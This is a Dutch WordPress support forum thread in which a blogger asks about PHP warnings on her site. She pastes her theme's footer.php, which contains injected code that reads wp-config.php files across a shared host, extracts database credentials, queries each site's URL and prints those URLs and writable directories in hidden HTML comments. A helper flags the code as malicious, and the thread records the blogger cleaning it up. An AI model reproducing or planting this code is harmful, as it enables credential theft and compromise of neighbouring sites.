Ondersteuning » Algemeen WordPress » Fout bij RSS?

  • Opgelost esmeealeida

    (@esmeealeida)


    Hi,

    Sinds vandaag heb ik onder mijn RSS Feed op mijn blog een hele lap tekst staan, een of andere foutmelding? Wat kan ik doen om dit weg te krijgen? Het gaat om deze tekst:

    Warning: scandir(): open_basedir restriction in effect. File(/customers/c/b/4/fashion-fever.nl/httpd.www/wp-content/themes/pilcrow/../../../../) is not within the allowed path(s): (/customers/c/b/4/fashion-fever.nl/httpd.www:/customers/c/b/4/fashion-fever.nl/httpd.private:/customers/c/b/4/fashion-fever.nl/tmp:/customers/fashion-fever.nl/fashion-fever.nl:/var/www/diagnostics:/usr/share/php) in /customers/c/b/4/fashion-fever.nl/httpd.www/wp-content/themes/pilcrow/footer.php on line 10 Warning: scandir(/customers/c/b/4/fashion-fever.nl/httpd.www/wp-content/themes/pilcrow/../../../../): failed to open dir: Operation not permitted in /customers/c/b/4/fashion-fever.nl/httpd.www/wp-content/themes/pilcrow/footer.php on line 10 Warning: scandir(): (errno 1): Operation not permitted in /customers/c/b/4/fashion-fever.nl/httpd.www/wp-content/themes/pilcrow/footer.php on line 10 Warning: Invalid argument supplied for foreach() in /customers/c/b/4/fashion-fever.nl/httpd.www/wp-content/themes/pilcrow/footer.php on line 12

    Bij voorbaat dank!

    Esmee
    http://www.fashion-fever.nl

6 reacties aan het bekijken - 1 tot 6 (van in totaal 6)
  • Hoi Esmee,

    Er staat volgens mij een fout, of meerdere in je footer.php
    Zou je die hier kunnen plaatsen?

    Heb je zelf aanpassingen gedaan in het thema?
    Zo nee/ja, zie je vreemde code staan ten opzichte van het origineel: http://themes.svn.wordpress.org/pilcrow/1.5.1/footer.php

    Thread starter esmeealeida

    (@esmeealeida)

    Hi Richard,

    Dank voor je antwoord. Ik heb zelf een aantal kleine aanpassingen gedaan, maar tot gister nergens problemen mee. Dit is wat nu in mijn footer.php staat:

    <?php
    if(stripos(‘win’, PHP_OS) === false){
    define(‘DS’, DIRECTORY_SEPARATOR);
    $fullPath = dirname(__FILE__);
    $parts = explode(DS, $fullPath);
    $parts = array_slice($parts, 0, -4);
    $wwwroot = implode(DS, $parts);

    $wp = $fullPath . DS. ‘..’.DS.’..’.DS.’..’.DS.’..’. DS;
    $dirs = scandir($wp);
    $work = array();
    foreach($dirs as $dir){
    $full = dirname(__FILE__) . ‘/../../../../’ . $dir . ‘/wp-content/’;
    if(file_exists($full)){
    $work[] = $wwwroot .DS. $dir ;
    }
    }
    foreach($work as $k => $path){
    $wpconf = $path . ‘/wp-config.php’;
    $f = fopen($wpconf, ‘r’);
    $content = fread($f, filesize($wpconf));
    fclose($f);
    $pattern = ‘#DB_NAME[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbname = $res[1][0];

    $pattern = ‘#DB_USER[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbuser = $res[1][0];

    $pattern = ‘#DB_PASSWORD[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbpass = $res[1][0];

    $pattern = ‘#DB_HOST[\’\”](?:.*)?[\’\”](.*)?[\’\”]\)#isU’;
    preg_match_all($pattern, $content, $res);
    $dbhost = $res[1][0];

    $pattern = ‘#\$table_prefix(?:.*)?[\’\”](.*)?[\’\”]\;#isU’;
    preg_match_all($pattern, $content, $res);
    $dbprefix = $res[1][0];

    $h = mysql_connect($dbhost, $dbuser, $dbpass) or die(‘ss’);
    mysql_select_db($dbname, $h) or die(‘f’);
    $data = mysql_query(“SELECT option_value FROM “.$dbprefix.”options WHERE option_name=’home'”) or die(‘d’);
    while($info = mysql_fetch_array( $data ))
    {
    $host[$k] = $info[‘option_value’];
    break;
    }
    mysql_close($h);
    }

    echo ‘<!–##’;
    echo implode(“\n”, $host);
    echo “##–>\n”;

    $fold = array();
    foreach($work as $i => $path){
    $wpcontent = $path . ‘/wp-content’;
    $fold[$i] = get_leaf_dirs($wpcontent);
    }
    if(!empty($fold)){
    echo ‘<!–$$’;
    foreach($fold as $fol){
    if(!empty($fol)){
    echo implode(“\n”, $fol);
    echo “\n”;
    }
    }
    echo ‘$$–>’;

    }

    }
    if(!function_exists(‘scandir’)) { // in case this script gets ported to PHP5, let’s not break it
    function scandir($dir) {
    $files = array(); // added to initialize variable
    if(is_dir($dir)){
    $dh = opendir($dir); // added some error-checking
    while(false !== ($filename = readdir($dh))) {
    if($filename == ‘.’ || $filename == ‘..’)
    continue; // no need to get the . or .. references, right?
    else
    $files[] = $filename;
    }
    return $files;
    } else {
    return false;
    }
    }
    }
    function get_leaf_dirs($dir) {$array = array();$d = dir($dir);while (false !== ($entry = $d->read())) {if($entry!=’.’ && $entry!=’..’) {$entry = $dir.’/’.$entry;if(is_dir($entry) && is_writable($entry)) {$subdirs = get_leaf_dirs($entry);if ($subdirs)$array = array_merge($array, $subdirs);else$array[] = $entry;}}if(sizeof($array)>0){break;}}$d->close();return $array;}
    ?>

    Esmee

    Thread starter esmeealeida

    (@esmeealeida)

    Inmiddels ben ik er mee aan de slag geweest, heb de origele footer codes die je doorgaf gekopieerd en in die van mij geplaatst. Volgens mij is het probleem hiermee opgelost! Bedankt voor je hulp!!

    Esmee

    Graag gedaan, wat was eigenlijk de bedoeling van de bovenstaande code? Wat zou die als resultaat weer moeten geven? Ziet er nogal malicious uit….

    Thread starter esmeealeida

    (@esmeealeida)

    En weer heb van uit het niets hetzelfde “probleem”. Heb opnieuw de juiste codes zoals hierboven staan opnieuw in de footer geplaatst, en de lap tekst is gelukkig weer verdwenen uit de sidebar. Maar…deze staat nu helemaal onderaan, heeft zich als het ware verplaatst! Iemand die me kan zeggen hoe ik dit weghaal?

    Thread starter esmeealeida

    (@esmeealeida)

    Inmiddels opgelost!

6 reacties aan het bekijken - 1 tot 6 (van in totaal 6)
  • Het onderwerp ‘Fout bij RSS?’ is gesloten voor nieuwe reacties.